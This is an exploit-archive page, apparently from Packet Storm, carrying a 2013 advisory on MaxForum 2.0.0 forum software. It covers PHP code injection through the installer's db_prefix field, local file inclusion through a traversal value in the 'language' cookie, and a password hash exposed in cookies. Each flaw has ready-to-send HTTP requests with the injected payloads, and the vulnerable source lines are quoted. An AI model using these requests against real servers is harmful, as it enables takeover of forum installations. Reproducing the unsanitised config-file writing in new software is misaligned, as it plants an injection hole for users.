what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MaxForum 2.0.0 Code Injection / LFI / Disclosure

MaxForum 2.0.0 Code Injection / LFI / Disclosure
Posted Jun 10, 2013
Authored by CWH Underground

MaxForum version 2.0.0 suffers from PHP code injection, local file inclusion, and credential disclosure vulnerabilities.

tags | exploit, local, php, vulnerability, file inclusion
SHA-256 | e86565b1040c9480a896fd183b64a35b3657cb31227e853becd6ffe5cdc1c01b

MaxForum 2.0.0 Code Injection / LFI / Disclosure

Change Mirror Download
# Exploit Title   : MaxForum 2.0.0 Multiple Vulnerabilities
# Date : 9 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://sourceforge.net/projects/maxforum/
# Software Link : jaist.dl.sourceforge.net/project/maxforum/2.0.0/Max_v2.0.0.zip
# Version : 2.0.0
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'


####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/install/install.php (LINE: 1642-1685)

-----------------------------------------------------------------------------
LINE 1672-1676:

$mysql_host = "' . $_POST['mysql_host'] . '";
$mysql_login = "' . $_POST['mysql_login'] . '";
$mysql_pass = "' . strip_slashes($_POST['mysql_pass']) . '";
$mysql_database = "' . $_POST['mysql_database'] . '";
$db_prefix = "' . $_POST['db_prefix'] . '";
-----------------------------------------------------------------------------

#####################################################
DESCRIPTION for PHP Code Injection
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

This CMS allow attacker to insert PHP code into config.php with "max_";phpinfo();//"

/includes/config.php
-----------------------------------------------------------------------------
LINE 29-33:

$mysql_host = "localhost";
$mysql_login = "root";
$mysql_pass = "toor";
$mysql_database = "max";
$db_prefix = "max_";phpinfo();//";
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################

POST /Max/install/install.php?step=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/Max/install/install.php?step=3
Cookie: exp_lang=en; language=english; max_name=admin; max_password=2d6df19ab196f1c344310e0021239a06; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
mysql_host=localhost&mysql_login=root&mysql_pass=toor&mysql_database=max&db_prefix=max_%22%3Bphpinfo%28%29%3B%2F%2F&site_address=http%3A%2F%2Flocalhost%2FMax%2F&step=4&prev_step=3


###############################################
VULNERABILITY: Local File Inclusion via Cookie
###############################################

/install/index.php (LINE: 5-10)

-----------------------------------------------------------------------------
LINE 5-10:

$language = $_COOKIE['language'];
$exp_lang = $_COOKIE['exp_lang'];

if (file_exists("language/".$language."_".$exp_lang."/".$language.".php")){

@include("language/".$language."_".$exp_lang."/".$language.".php");

-----------------------------------------------------------------------------


#####################################################
EXPLOIT
#####################################################

GET /Max/install/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: language=../../phpinfo; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive


###########################################
VULNERABILITY: Credentials Leak via Cookie
###########################################

POC:

GET /Max/index.php?forum=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: max_name=admin; max_password=dfbb72b7a33b97abda905a4af7e6c7f5; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97; lang=
Connection: keep-alive


################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close